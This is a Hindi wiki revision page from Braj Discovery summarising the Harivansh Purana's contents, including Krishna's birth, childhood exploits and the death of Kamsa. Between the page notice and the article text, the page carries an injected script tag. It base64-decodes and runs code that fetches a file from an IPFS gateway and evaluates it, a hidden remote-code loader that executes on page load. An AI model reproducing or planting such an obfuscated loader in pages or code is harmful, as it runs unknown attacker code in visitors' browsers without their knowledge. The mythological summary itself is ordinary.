"हरिवंश पुराण" के अवतरणों में अंतर

ब्रज डिस्कवरी, एक मुक्त ज्ञानकोष से
नेविगेशन पर जाएँ खोज पर जाएँ
(नया पृष्ठ: ==हरिवंश पुराण== हरिवंश पुराण में वैवस्तमनु और यम की उत्पत्ति के बा...)
 
छो (Text replace - "{{पुराण}}" to "")
 
(८ सदस्यों द्वारा किये गये बीच के १४ अवतरण नहीं दर्शाए गए)
पंक्ति १: पंक्ति १:
==हरिवंश पुराण==
+
{{menu}}
हरिवंश पुराण में वैवस्तमनु और यम की उत्पत्ति के बारे में बताया है और साथ ही भगवान् विष्णु के अवतारों के बारे में बताया गया है । आगे देवताओं का कालनेमि के साथ युद्ध का वर्णन है जिसमें भगवान् विष्णु ने देवताओं को सान्त्वना दी और अपने अवतारों की बात निश्चित कर देवताओं को अपने स्थान पर भेज दिया । इसके बाद [[नारद]] और [[कंस]] के संवाद हैं । इस[[पुराण]] में भगवान् विष्णु का [[कृष्ण]] के रूप में जन्म बताया गया है । जिसमें कंस का [[देवकी]] के पुत्रों का वध से लेकर कृष्ण के जन्म लेने तक की कथा है । फिर भगवान् कृष्ण की ब्रज-यात्रा के बारे में बताया है जिसमें कृष्ण की बाल-लीलाओं का वर्णन है । इसमें धेनकासुर वध, [[गोवर्धन]] उत्सव का वर्णन किया गया है । आगे कंस की मृत्यु के साथ [[उग्रसेन]] के राज्यदान का वर्णन है । आगे बाणसुर प्रसंग में दोनों के विषय में बताया है । भगवान् कृष्ण के द्वारा शंकर की उपासना का वर्णन है । हंस-डिम्भक प्रसंग का वर्णन है । अंत में श्रीकृष्ण और [[नन्द]]-[[यशोदा]] मिलन का वर्णन है ।
+
{{Incomplete}}
 +
==हरिवंश पुराण / Harivansh Puran==
 +
हरिवंश पुराण में [[वैवस्वत मनु]] और यम की उत्पत्ति के बारे में बताया है और साथ ही भगवान [[विष्णु]] के अवतारों के बारे में बताया गया है। आगे देवताओं का कालनेमि के साथ युद्ध का वर्णन है जिसमें भगवान् विष्णु ने देवताओं को सान्त्वना दी और अपने अवतारों की बात निश्चित कर देवताओं को अपने स्थान पर भेज दिया। इसके बाद [[नारद]] और [[कंस]] के संवाद हैं। इस [[पुराण]] में भगवान् विष्णु का [[कृष्ण]] के रूप में जन्म बताया गया है। जिसमें कंस का [[देवकी]] के पुत्रों का वध से लेकर कृष्ण के जन्म लेने तक की कथा है। फिर भगवान कृष्ण की ब्रज-यात्रा के बारे में बताया है जिसमें कृष्ण की बाल-लीलाओं का वर्णन है। इसमें धेनकासुर वध, [[गोवर्धन]] उत्सव का वर्णन किया गया है। आगे कंस की मृत्यु के साथ [[उग्रसेन]] के राज्यदान का वर्णन है। आगे बाणसुर प्रसंग में दोनों के विषय में बताया है। भगवान कृष्ण के द्वारा [[शंकर]] की उपासना का वर्णन है। हंस-डिम्भक प्रसंग का वर्णन है। अंत में श्रीकृष्ण और [[नन्द]]-[[यशोदा]] मिलन का वर्णन है।
 +
==सम्बंधित लिंक==
 +
{{पुराण2}}
 +
 
 +
[[Category:कोश]] 
 +
[[Category:पुराण]]
 +
[[Category:पौराणिक ग्रन्थ]]
 +
__INDEX__

०९:३२, २७ अक्टूबर २०११ के समय का अवतरण


Logo.jpg पन्ना बनने की प्रक्रिया में है। आप इसको तैयार कर सकते हैं। हिंदी (देवनागरी) टाइप की सुविधा संपादन पन्ने पर ही उसके नीचे उपलब्ध है।

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

हरिवंश पुराण / Harivansh Puran

हरिवंश पुराण में वैवस्वत मनु और यम की उत्पत्ति के बारे में बताया है और साथ ही भगवान विष्णु के अवतारों के बारे में बताया गया है। आगे देवताओं का कालनेमि के साथ युद्ध का वर्णन है जिसमें भगवान् विष्णु ने देवताओं को सान्त्वना दी और अपने अवतारों की बात निश्चित कर देवताओं को अपने स्थान पर भेज दिया। इसके बाद नारद और कंस के संवाद हैं। इस पुराण में भगवान् विष्णु का कृष्ण के रूप में जन्म बताया गया है। जिसमें कंस का देवकी के पुत्रों का वध से लेकर कृष्ण के जन्म लेने तक की कथा है। फिर भगवान कृष्ण की ब्रज-यात्रा के बारे में बताया है जिसमें कृष्ण की बाल-लीलाओं का वर्णन है। इसमें धेनकासुर वध, गोवर्धन उत्सव का वर्णन किया गया है। आगे कंस की मृत्यु के साथ उग्रसेन के राज्यदान का वर्णन है। आगे बाणसुर प्रसंग में दोनों के विषय में बताया है। भगवान कृष्ण के द्वारा शंकर की उपासना का वर्णन है। हंस-डिम्भक प्रसंग का वर्णन है। अंत में श्रीकृष्ण और नन्द-यशोदा मिलन का वर्णन है।

सम्बंधित लिंक